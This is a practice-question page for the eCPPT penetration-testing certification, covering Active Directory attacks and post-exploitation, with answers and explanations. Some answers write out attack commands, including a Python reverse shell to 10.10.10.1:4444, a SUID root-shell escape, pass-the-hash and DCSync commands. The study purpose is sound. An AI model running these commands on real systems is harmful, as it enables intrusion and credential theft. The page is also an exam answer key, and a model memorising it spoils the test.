I85PREP
⌘ K
eCPPT study materials
eCPPT study resources

eCPPT practice questions

One question at a time. Build your eCPPT understanding.

First 50 of 190 questions. Each one lists the choices, the correct answer, and an explanation. The checker at the top of this page saves progress in this browser when it is available.

Continue in the practice tool above to load more questions, 50 at a time.

Question 1Authorized identity-path analysis and Windows domain boundaries

Which tool is used to visually map Active Directory relationships, trust paths, and attack paths by collecting and analyzing domain data?

  1. PowerView
  2. BloodHound Correct answer.
  3. Impacket
  4. Rubeus

Explanation

BloodHound uses graph theory to visualize Active Directory relationships and identify attack paths from low-privilege users to high-value targets like Domain Admins. It ingests data collected by SharpHound (or bloodhound-python) and displays attack paths, shortest paths to DA, and privilege relationships.

Question 2Authorized identity-path analysis and Windows domain boundaries

Which PowerShell command from PowerView enumerates all user accounts in the current Active Directory domain?

  1. Get-DomainUser Correct answer.
  2. Get-NetComputer
  3. Get-DomainGPO
  4. Find-LocalAdminAccess

Explanation

Get-DomainUser (from PowerView) enumerates all user objects in the domain, returning properties like samaccountname, description, memberof, and useraccountcontrol flags. The -SPN flag can filter for Kerberoastable service accounts, making it essential for AD recon.

Question 3Authorized identity-path analysis and Windows domain boundaries

AS-REP Roasting targets domain accounts with which specific configuration that allows an attacker to request a Kerberos ticket without providing a password?

  1. Accounts with WDigest authentication enabled
  2. Accounts with a Service Principal Name (SPN) set
  3. Accounts with 'Do not require Kerberos preauthentication' enabled Correct answer.
  4. Accounts that are members of the Domain Admins group

Explanation

AS-REP Roasting targets accounts with Kerberos pre-authentication disabled (DONT_REQUIRE_PREAUTH flag set). Without pre-authentication, the KDC returns an AS-REP message encrypted with the user's password hash, which can be captured and cracked offline without ever sending a password.

Question 4Authorized identity-path analysis and Windows domain boundaries

Which Impacket script is used to perform AS-REP Roasting to retrieve Kerberos AS-REP hashes for accounts with pre-authentication disabled?

  1. GetUserSPNs.py
  2. psexec.py
  3. secretsdump.py
  4. GetNPUsers.py Correct answer.

Explanation

GetNPUsers.py (from Impacket) queries the domain for user accounts with Kerberos pre-authentication disabled and requests their AS-REP tickets. The returned hashes are in hashcat mode 18200 ($krb5asrep$) format and can be cracked offline to recover plaintext passwords.

Question 5Authorized identity-path analysis and Windows domain boundaries

Kerberoasting exploits which Kerberos design characteristic to allow offline cracking of service account credentials?

  1. TGT tickets are encrypted with the KDC's secret key, which is derivable from domain SID
  2. TGS tickets for services are encrypted with the service account's NTLM hash, enabling offline cracking Correct answer.
  3. NTLM hashes are sent in plaintext during Kerberos authentication
  4. Service accounts are exempt from account lockout policies

Explanation

When a domain user requests a Service Ticket (TGS) for an SPN-registered service, the KDC encrypts the ticket with the service account's NTLM hash. Any authenticated domain user can request these tickets, and since they are encrypted with the service account's password hash, they can be cracked offline using hashcat (mode 13100).

Question 6Authorized identity-path analysis and Windows domain boundaries

Which Impacket script performs Kerberoasting by requesting TGS tickets for all accounts with SPNs registered in the domain?

  1. smbclient.py
  2. GetNPUsers.py
  3. GetUserSPNs.py Correct answer.
  4. ticketer.py

Explanation

GetUserSPNs.py (Impacket) queries the domain for accounts with Service Principal Names (SPNs) and requests TGS tickets for each. With the -request flag, it outputs the tickets in hashcat-compatible format ($krb5tgs$23$) for offline cracking using hashcat mode 13100.

Question 7Authorized identity-path analysis and Windows domain boundaries

Pass-the-Hash (PtH) allows lateral movement by authenticating with which credential type without knowing the plaintext password?

  1. Net-NTLMv2 hash
  2. Kerberos TGS ticket
  3. Kerberos TGT ticket
  4. NTLM hash Correct answer.

Explanation

Pass-the-Hash authenticates using a captured NTLM hash directly. Because NTLM authentication uses the hash as the credential (not a password), a captured NTLM hash from a compromised machine (via Mimikatz, hashdump) can authenticate to other machines as that user. Tools like crackmapexec, psexec.py, and evil-winrm support PtH with -H.

Question 8Authorized identity-path analysis and Windows domain boundaries

Which crackmapexec flag is used to perform a Pass-the-Hash attack instead of password-based authentication?

  1. -p (password)
  2. -H (hash) Correct answer.
  3. --kerberos
  4. --aes-key

Explanation

crackmapexec's -H flag accepts an NTLM hash instead of a plaintext password. This enables Pass-the-Hash against SMB, WinRM, MSSQL, and other supported protocols. For example: `cme smb 192.168.1.10 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c`

Question 9Authorized identity-path analysis and Windows domain boundaries

What is the difference between a Golden Ticket and a Silver Ticket attack in Active Directory?

  1. Golden tickets forge TGTs using the krbtgt hash; silver tickets forge TGS tickets using service account hashes Correct answer.
  2. Golden tickets are NTLM hashes; silver tickets are Kerberos tickets
  3. Golden tickets grant local admin; silver tickets grant domain admin
  4. Golden tickets target service accounts; silver tickets target the krbtgt account

Explanation

A Golden Ticket forges a Ticket-Granting Ticket (TGT) using the krbtgt account's NTLM hash, providing unrestricted access to the entire domain. A Silver Ticket forges a service-specific Ticket-Granting Service (TGS) ticket using the target service account's hash, granting access to only that specific service without contacting the KDC.

Question 10Authorized identity-path analysis and Windows domain boundaries

Which tool provides a WinRM-based interactive shell to a Windows domain host using valid credentials or an NTLM hash?

  1. smbexec.py
  2. wmiexec.py
  3. psexec.py
  4. evil-winrm Correct answer.

Explanation

evil-winrm is a Ruby-based tool that exploits Windows Remote Management (WinRM/port 5985) to provide an interactive shell. It supports password and NTLM hash authentication (-H), SSL, file upload/download, and PowerShell script loading, making it a preferred lateral movement tool for eCPPT.

Question 11Authorized identity-path analysis and Windows domain boundaries

Pass-the-Ticket (PtT) attacks involve injecting which type of credential into the current Windows logon session?

  1. NTLM hash extracted from SAM
  2. Exported Kerberos ticket (.kirbi or .ccache file) Correct answer.
  3. Plaintext password extracted by Mimikatz
  4. Net-NTLMv2 challenge-response hash

Explanation

Pass-the-Ticket imports a stolen Kerberos ticket (TGT or TGS) into the current logon session using tools like Mimikatz (kerberos::ptt) or Rubeus (asktgt/ptt). The ticket grants authentication to services or domain resources without knowing the account's password.

Question 12Authorized identity-path analysis and Windows domain boundaries

Which Impacket script dumps the Active Directory database (NTDS.dit) and extracts all domain user hashes from a domain controller?

  1. lookupsid.py
  2. GetNPUsers.py
  3. secretsdump.py Correct answer.
  4. GetUserSPNs.py

Explanation

secretsdump.py can remotely extract NTLM hashes from the NTDS.dit database on a domain controller using VSS or DRSUAPI (DCSync) replication. With domain admin credentials, it performs a DCSync attack, pulling all domain user hashes without requiring physical access to the DC.

Question 13Authorized identity-path analysis and Windows domain boundaries

A tester uses `crackmapexec smb 192.168.1.10 -u administrator -p Password123 --sam`. What is this command retrieving?

  1. Kerberos tickets from LSASS memory
  2. Plaintext passwords from the Windows Registry
  3. Active Directory database from the domain controller
  4. Local SAM database hashes from the target Windows machine Correct answer.

Explanation

crackmapexec with --sam dumps the local SAM database of the target machine, extracting NTLM hashes for all local user accounts. This is useful for obtaining local administrator hashes that may be shared across multiple machines (enabling lateral movement via PtH).

Question 14Authorized identity-path analysis and Windows domain boundaries

Which command in BloodHound's Cypher query language finds the shortest path from a compromised user to the Domain Admins group?

  1. MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:'DOMAIN [email protected]'})) RETURN p Correct answer.
  2. SELECT * FROM Users WHERE AdminCount=1
  3. Get-DomainGroupMember -Identity 'Domain Admins'
  4. net group 'Domain Admins' /domain

Explanation

BloodHound uses Neo4j's Cypher query language. The shortestPath() function finds the minimum-hop attack path from any user to the Domain Admins group using relationship edges (MemberOf, AdminTo, HasSession, etc.). This is BloodHound's most powerful feature for identifying privilege escalation paths.

Question 15Authorized identity-path analysis and Windows domain boundaries

Which tool collects BloodHound data from a Linux host using only domain credentials, without requiring execution on a domain-joined Windows machine?

  1. SharpHound.exe
  2. bloodhound-python Correct answer.
  3. PowerView.ps1
  4. ldapdomaindump

Explanation

bloodhound-python is a Python-based BloodHound ingestor that collects AD data (users, groups, sessions, ACLs, trusts) from a Linux host using domain credentials, connecting to AD via LDAP and SMB. This avoids the need to execute SharpHound on a Windows host where it may be detected by AV.

Question 16Authorized identity-path analysis and Windows domain boundaries

A DCSync attack abuses which Active Directory right to extract domain password hashes without running code on a domain controller?

  1. SeDebugPrivilege on the DC
  2. WriteOwner permission on the domain object
  3. DS-Replication-Get-Changes-All right Correct answer.
  4. GenericAll permission on the Domain Admins group

Explanation

DCSync simulates a domain controller replication request using the MS-DRSR protocol. The attacker must have the DS-Replication-Get-Changes-All right (granted by default to Domain Admins, Enterprise Admins, and Domain Controllers). Tools like Mimikatz's lsadump::dcsync and secretsdump.py exploit this to extract all domain hashes.

Question 17Authorized identity-path analysis and Windows domain boundaries

Which Mimikatz command performs a DCSync attack to extract the NTLM hash of a specific domain user from the domain controller?

  1. lsadump::dcsync /user:domain\administrator Correct answer.
  2. sekurlsa::logonpasswords
  3. kerberos::golden /user:administrator
  4. lsadump::sam /system:SYSTEM

Explanation

lsadump::dcsync /user: instructs Mimikatz to impersonate a domain controller and request replication of the specified user's credentials via the MS-DRSR protocol. This extracts the NTLM hash, AES keys, and other credential material for the target account without interactive access to the DC.

Question 18Authorized identity-path analysis and Windows domain boundaries

Which PowerView function identifies Active Directory users with the 'Do not require Kerberos preauthentication' flag set, making them AS-REP Roasting targets?

  1. Find-DomainUserLocation -CheckAccess
  2. Get-DomainGroupMember -Identity 'Domain Admins'
  3. Get-DomainUser -SPN
  4. Get-DomainUser -PreauthNotRequired Correct answer.

Explanation

Get-DomainUser -PreauthNotRequired filters domain users with the DONT_REQUIRE_PREAUTH UAC flag set, identifying AS-REP Roasting targets. This narrows the enumeration to accounts vulnerable to offline cracking without requiring a valid password to request their Kerberos tickets.

Question 19Authorized identity-path analysis and Windows domain boundaries

A tester executes `net user /domain` on a compromised Windows machine. What does this command return?

  1. Local user accounts on the compromised machine
  2. All user accounts in the Active Directory domain Correct answer.
  3. Active sessions on the domain controller
  4. Group Policy Objects applied to the domain

Explanation

net user /domain queries the domain controller to enumerate all user accounts in the current Active Directory domain. This built-in Windows command requires no additional tools and provides a quick view of domain users, making it a common early recon command after gaining initial access to a domain-joined machine.

Question 20Authorized identity-path analysis and Windows domain boundaries

Which Impacket tool provides remote code execution by creating and executing a service on a Windows machine via SMB using valid credentials or NTLM hashes?

  1. GetADUsers.py
  2. wmiexec.py
  3. psexec.py Correct answer.
  4. smbclient.py

Explanation

psexec.py (Impacket) authenticates via SMB, uploads a service binary to the ADMIN$ share, creates a Windows service to execute it, and returns an interactive shell. It supports password authentication and Pass-the-Hash (-hashes flag), making it a versatile lateral movement tool.

Question 21Authorized identity-path analysis and Windows domain boundaries

Which attack captures Net-NTLMv2 challenge-response hashes by acting as a rogue responder to LLMNR and NBT-NS broadcast queries?

  1. LLMNR/NBT-NS poisoning with Responder Correct answer.
  2. AS-REP Roasting
  3. Kerberoasting
  4. NTLM relay

Explanation

Responder listens on LLMNR (UDP/5355) and NBT-NS (UDP/137) and responds to name resolution broadcast queries as if it is the requested host. When Windows clients authenticate to the rogue Responder server, their Net-NTLMv2 challenge-response hashes are captured for offline cracking.

Question 22Authorized identity-path analysis and Windows domain boundaries

Which Rubeus command requests a Kerberos TGS ticket for a Kerberoasting attack against accounts with SPNs?

  1. Rubeus.exe ptt /ticket:
  2. Rubeus.exe harvest /interval:30
  3. Rubeus.exe asreproast
  4. Rubeus.exe kerberoast Correct answer.

Explanation

Rubeus.exe kerberoast requests TGS tickets for all domain accounts with SPNs and outputs them in hashcat-compatible format. Unlike Impacket's GetUserSPNs.py, Rubeus runs natively on Windows and can target specific accounts with /user: or filter by encryption type with /tgtdeleg.

Question 23Authorized identity-path analysis and Windows domain boundaries

A tester wants to determine which machines in the domain the current user has local admin access to, using BloodHound data. Which query would help identify this?

  1. Find all Kerberoastable users
  2. Find shortest paths to Domain Admins
  3. Find machines where the current user is local admin (AdminTo edges) Correct answer.
  4. Find users with DCSync rights

Explanation

BloodHound's 'AdminTo' relationship edges show which domain accounts have local administrator rights on which machines, populated from session and local group data collected during ingestion. The pre-built query 'Find Computers where Domain Users are Local Admin' or custom Cypher with AdminTo edges identifies these machines.

Question 24Authorized identity-path analysis and Windows domain boundaries

Which Windows command displays all members of the local Administrators group on the current machine?

  1. net user /domain
  2. net localgroup administrators Correct answer.
  3. Get-DomainGroupMember -Identity 'Domain Admins'
  4. whoami /groups

Explanation

net localgroup administrators lists all members of the local Administrators group on the current Windows machine. This is a key post-exploitation enumeration command to understand who has privileged access locally, identify shared local admin accounts, and plan lateral movement.

Question 25Authorized identity-path analysis and Windows domain boundaries

During Active Directory enumeration, which command identifies the domain controller's hostname and IP address from a domain-joined Windows machine?

  1. nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain> Correct answer.
  2. arp -a
  3. netstat -an
  4. ipconfig /all

Explanation

The DNS SRV record _ldap._tcp.dc._msdcs.<domain> is registered by all domain controllers. Using nslookup to query this SRV record reliably returns domain controller hostnames and their IP addresses, which is the most authoritative way to identify DCs via DNS.

Question 26Authorized identity-path analysis and Windows domain boundaries

Which PowerView function identifies domain computers where specific domain users currently have active sessions, useful for locating high-value targets?

  1. Invoke-Kerberoast
  2. Get-DomainUser -SPN
  3. Find-DomainUserLocation Correct answer.
  4. Get-DomainGroupMember

Explanation

Find-DomainUserLocation (PowerView) queries domain computers for logged-in sessions matching specified user criteria. It can identify machines where privileged accounts like Domain Admins are currently logged in - crucial for determining where to migrate or from which machine to steal high-value Kerberos tickets.

Question 27Authorized identity-path analysis and Windows domain boundaries

After cracking a Kerberoasted hash and obtaining a service account password, an attacker finds the account has WriteDACL rights on the Domain object. Which attack does this enable?

  1. Creating a shadow copy of NTDS.dit
  2. Enabling LLMNR poisoning on the domain
  3. Golden ticket forgery
  4. Granting DS-Replication-Get-Changes-All rights to enable DCSync Correct answer.

Explanation

WriteDACL on the domain object allows modification of its Access Control List. An attacker can grant their controlled account the DS-Replication-Get-Changes-All right, which enables a DCSync attack to extract all domain hashes. This DACL abuse is a common BloodHound-identified attack path.

Question 28Authorized identity-path analysis and Windows domain boundaries

Which tool is used to perform NTLM relay attacks, forwarding captured Net-NTLMv2 authentication to another target to gain unauthorized access?

  1. Responder
  2. ntlmrelayx.py Correct answer.
  3. Rubeus
  4. BloodHound

Explanation

ntlmrelayx.py (Impacket) receives captured NTLM authentication (from Responder or other capture tools) and relays it to a target service (SMB, LDAP, HTTP). When SMB signing is disabled on the target, this can grant a shell, dump SAM hashes, or perform LDAP-based privilege escalation.

Question 29Authorized identity-path analysis and Windows domain boundaries

Which crackmapexec module checks whether SMB signing is disabled on hosts in a subnet (a prerequisite for NTLM relay attacks)?

  1. cme smb 192.168.1.0/24 --sessions
  2. cme smb 192.168.1.0/24 --shares
  3. cme smb 192.168.1.0/24 --gen-relay-list relay_targets.txt Correct answer.
  4. cme smb 192.168.1.0/24 -u '' -p '' --users

Explanation

crackmapexec with --gen-relay-list scans the subnet for hosts with SMB signing disabled and writes their IPs to a file. These hosts are valid NTLM relay targets. ntlmrelayx.py can then use this file as its target list when NTLM authentications are captured via Responder.

Question 30Authorized identity-path analysis and Windows domain boundaries

Which hashcat mode is used to crack Net-NTLMv2 hashes captured by Responder?

  1. 13100
  2. 18200
  3. 1000
  4. 5600 Correct answer.

Explanation

hashcat mode 5600 cracks Net-NTLMv2 hashes (NetNTLMv2 challenge-response format captured by Responder from LLMNR/NBT-NS poisoning). Mode 1000 is for NTLM (local account hashes), 13100 for Kerberoasting TGS, and 18200 for AS-REP Roasting hashes.

Question 31Authorized identity-path analysis and Windows domain boundaries

Which hashcat mode is used to crack Kerberoasted TGS ticket hashes (RC4-encrypted, type 23)?

  1. 1000
  2. 5600
  3. 13100 Correct answer.
  4. 18200

Explanation

hashcat mode 13100 cracks Kerberos 5 TGS-REP hashes (etype 23 / RC4) captured via Kerberoasting. The hash format starts with $krb5tgs$23$. If the service account uses AES encryption (etype 17 or 18), modes 19600/19700 are used instead, though RC4 is much faster to crack.

Question 32Authorized identity-path analysis and Windows domain boundaries

Which command verifies that a Kerberos ticket has been successfully injected into the current Windows logon session after a Pass-the-Ticket attack?

  1. klist Correct answer.
  2. whoami /groups
  3. net session
  4. ipconfig /displaydns

Explanation

klist displays all Kerberos tickets cached in the current Windows logon session, including TGTs and TGS tickets, their validity periods, and the services they target. After a Pass-the-Ticket attack (via Mimikatz or Rubeus), klist confirms the injected ticket appears and is valid.

Question 33Authorized identity-path analysis and Windows domain boundaries

Which tool from the Impacket suite provides remote code execution against Windows machines by executing commands via WMI without writing binaries to disk?

  1. psexec.py
  2. wmiexec.py Correct answer.
  3. smbexec.py
  4. atexec.py

Explanation

wmiexec.py (Impacket) uses WMI (Windows Management Instrumentation) to execute commands on remote Windows hosts without dropping binaries to disk. Commands are executed via the __Win32_Process WMI class, providing a pseudo-interactive shell that is stealthier than psexec.py's service-based approach.

Question 34Host and middleware hardening foundations

In the supplied compatible Metasploit lab, an existing standard shell session is eligible for the documented upgrade workflow. Which listed command requests upgrade of that shell session toward Meterpreter?

  1. sessions -u <session_id> Correct answer.
  2. use post/multi/manage/shell_to_meterpreter
  3. background
  4. migrate <PID>

Explanation

The listed sessions upgrade option is the relevant recognition choice in the stated compatible lab workflow. Actual payload, platform, session and permissions determine success; this is not a guarantee of universal process injection or an instruction to perform an operation on a real target.

Question 35Host and middleware hardening foundations

Which Meterpreter command displays currently running processes on the compromised Windows host?

  1. ps Correct answer.
  2. getpid
  3. getsystem
  4. run post/windows/gather/enum_system

Explanation

The `ps` command in Meterpreter lists all running processes on the target system, showing PID, PPID, process name, user context, and architecture. This is essential for identifying processes to migrate to for persistence, privilege escalation, or AV evasion.

Question 36Host and middleware hardening foundations

On a compromised Linux target, which command checks for SUID-bit set files that could be abused for local privilege escalation?

  1. find / -perm -u=s -type f 2>/dev/null Correct answer.
  2. sudo -l
  3. cat /etc/sudoers
  4. uname -a

Explanation

The find command with -perm -u=s locates files with the SUID bit set, meaning they execute with the file owner's privileges (often root). Many GTFOBins entries allow privilege escalation through misused SUID binaries. The 2>/dev/null suppresses permission error messages.

Question 37Host and middleware hardening foundations

What does the `getsystem` command in Meterpreter attempt to do?

  1. Retrieve the SAM database for offline hash cracking
  2. Take a screenshot of the target desktop
  3. Gather system information like hostname and OS version
  4. Escalate privileges to SYSTEM level using multiple exploitation techniques Correct answer.

Explanation

getsystem in Meterpreter attempts privilege escalation to SYSTEM level by trying several techniques including named pipe impersonation, token duplication, and kernel exploits. Achieving SYSTEM provides the highest privilege level on Windows, equivalent to root on Linux.

Question 38Host and middleware hardening foundations

Which Windows privilege escalation technique exploits misconfigured service binary paths that contain spaces and are not enclosed in quotes?

  1. DLL hijacking
  2. Unquoted service path exploitation Correct answer.
  3. Registry autorun key abuse
  4. Scheduled task manipulation

Explanation

Unquoted service path exploitation occurs when a Windows service binary path contains spaces but is not enclosed in quotes (e.g., C:\Program Files\My App\service.exe). Windows tries to execute C:\Program.exe first, allowing an attacker with write access to place a malicious executable at a higher-priority path location.

Question 39Host and middleware hardening foundations

In post-exploitation, the `hashdump` Meterpreter command extracts credentials from which Windows database?

  1. Local Security Authority Subsystem (SAM database) Correct answer.
  2. Windows Credential Manager (Vault)
  3. Active Directory NTDS.dit
  4. LSASS process memory

Explanation

hashdump retrieves password hashes from the local SAM (Security Account Manager) database, which stores hashed credentials for local Windows accounts. These NTLM hashes can then be cracked offline or used in Pass-the-Hash attacks. Domain account hashes are stored in NTDS.dit on domain controllers.

Question 40Host and middleware hardening foundations

On a Linux target, a tester finds that the `python3` binary has the SUID bit set. According to GTFOBins, which command exploits this for privilege escalation?

  1. python3 -e '/bin/bash'
  2. python3 -c 'import os; os.system("/bin/bash")'
  3. python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' Correct answer.
  4. python3 --exec /bin/bash

Explanation

When python3 has the SUID bit, it runs as root. The GTFOBins technique uses os.setuid(0) to drop privileges to UID 0 (root) within the Python process, then spawns /bin/bash, resulting in a root shell. The os.setuid call is necessary because Python may reset effective UID for security.

Question 41Host and middleware hardening foundations

Which post-exploitation Meterpreter command transfers a file FROM the compromised target TO the attacker's machine?

  1. push
  2. fetch
  3. upload
  4. download Correct answer.

Explanation

The `download` command in Meterpreter copies files from the compromised target system to the attacker's local machine. This is used to exfiltrate sensitive files, credential databases, documents, and other evidence. The `upload` command works in the opposite direction.

Question 42Host and middleware hardening foundations

Which Windows privilege escalation technique abuses a weakly configured service where the BINARY_PATH_NAME can be overwritten by a low-privileged user?

  1. Token impersonation
  2. Insecure service permissions (service binary replacement) Correct answer.
  3. Pass-the-Hash
  4. Kernel exploitation

Explanation

When a low-privileged user has write permissions to a service's binary path, they can replace the executable with a malicious one. When the service restarts (or is restarted), the malicious binary executes with the service's privileges (often SYSTEM or Administrator), completing the privilege escalation.

Question 43Host and middleware hardening foundations

A tester runs `sudo -l` on a Linux target and sees the entry: `(ALL) NOPASSWD: /usr/bin/vim`. What does this mean for privilege escalation?

  1. The user must provide the root password to use vim with sudo
  2. The user can read files as root using vim but cannot escape to a shell
  3. The user can run vim as root without a password and escape to a root shell using :!bash Correct answer.
  4. The user has full sudo access and can run any command

Explanation

A NOPASSWD sudo entry for vim allows the user to run vim as root without a password. vim supports shell command execution via its `:!bash` command, which spawns a shell with root privileges - a classic GTFOBins privilege escalation via sudo abuse.

Question 44Host and middleware hardening foundations

What is the purpose of the `migrate` command in Meterpreter?

  1. Migrate user accounts from one domain to another
  2. Upload the Meterpreter binary to the target for persistence
  3. Transfer the session to a different attacker machine
  4. Move the Meterpreter payload to a different running process on the target Correct answer.

Explanation

migrate moves the Meterpreter agent from its current process into another running process on the target. This is useful for injecting into more stable processes (e.g., explorer.exe), inheriting higher privileges from a privileged process, or surviving the termination of the original exploited process.

Question 45Host and middleware hardening foundations

Which Metasploit module is used to establish a persistent listener that catches incoming Meterpreter or shell connections from staged payloads?

  1. post/multi/manage/shell_to_meterpreter
  2. exploit/windows/smb/ms17_010_eternalblue
  3. exploit/multi/handler Correct answer.
  4. auxiliary/scanner/smb/smb_login

Explanation

exploit/multi/handler is the generic payload listener in Metasploit. It waits for incoming connections from staged payloads (e.g., windows/meterpreter/reverse_tcp) delivered via msfvenom or other methods. Setting LHOST/LPORT and the matching PAYLOAD creates the catching listener.

Question 46Host and middleware hardening foundations

Which command generates a reverse shell payload in Python 3 that connects back to an attacker's host?

  1. python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.10.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh"])' Correct answer.
  2. python3 -m http.server 4444
  3. python3 -c 'print(open("/etc/passwd").read())'
  4. python3 -c 'import pty; pty.spawn("/bin/bash")'

Explanation

This Python3 one-liner creates a TCP socket, connects to the attacker's IP/port, then redirects stdin/stdout/stderr (file descriptors 0/1/2) to the socket using os.dup2(), and spawns /bin/sh - resulting in an interactive reverse shell over the TCP connection.

Question 47Host and middleware hardening foundations

After gaining a low-privilege shell on Linux, which command upgrades a dumb shell to a fully interactive TTY using Python?

  1. python3 -c 'import pty; pty.spawn("/bin/bash")' Correct answer.
  2. python3 -c 'import os; os.execv("/bin/bash", [])'
  3. python3 -m SimpleHTTPServer 4444
  4. python3 -c 'import subprocess; subprocess.Popen("/bin/bash")'

Explanation

python3 -c 'import pty; pty.spawn("/bin/bash")' spawns a pseudo-terminal (PTY) that provides a fully interactive shell. This enables interactive programs (like sudo, ssh, vim) that require a TTY and allows the use of CTRL+C without killing the session. Follow-up stty commands further improve the terminal.

Question 48Host and middleware hardening foundations

Which Meterpreter post-exploitation module searches for files matching a specific pattern across the target filesystem?

  1. run post/windows/gather/credentials/credential_collector
  2. run post/windows/manage/enable_rdp
  3. run post/multi/recon/local_exploit_suggester
  4. run post/multi/gather/search_files Correct answer.

Explanation

post/multi/gather/search_files recursively searches the target filesystem for files matching specified patterns (e.g., *.txt, *password*, *.conf). This enables quick identification of configuration files, credential stores, and sensitive documents during post-exploitation.

Question 49Host and middleware hardening foundations

Which Metasploit post-exploitation module suggests applicable local privilege escalation exploits for the current session based on system information?

  1. post/multi/gather/search_files
  2. post/multi/recon/local_exploit_suggester Correct answer.
  3. post/windows/gather/credentials/credential_collector
  4. post/windows/manage/enable_rdp

Explanation

post/multi/recon/local_exploit_suggester analyzes the target system's OS, architecture, and patch level, then cross-references known Metasploit local privilege escalation exploits to suggest applicable ones. It significantly speeds up the privesc phase by narrowing the exploit search space.

Question 50Host and middleware hardening foundations

In the context of a penetration test, what does 'privilege escalation' mean in relation to an already-compromised system?

  1. Moving from one network segment to another using tunneling
  2. Gaining higher-level access (e.g., root/SYSTEM) from a lower-privilege account Correct answer.
  3. Extracting credentials from a domain controller's NTDS.dit
  4. Establishing persistence mechanisms for long-term access

Explanation

Privilege escalation is the act of gaining elevated permissions on a system beyond what was initially obtained. On Linux this typically means escalating from a low-privilege user to root; on Windows, from a standard user to Administrator or SYSTEM. This is a critical phase after initial compromise.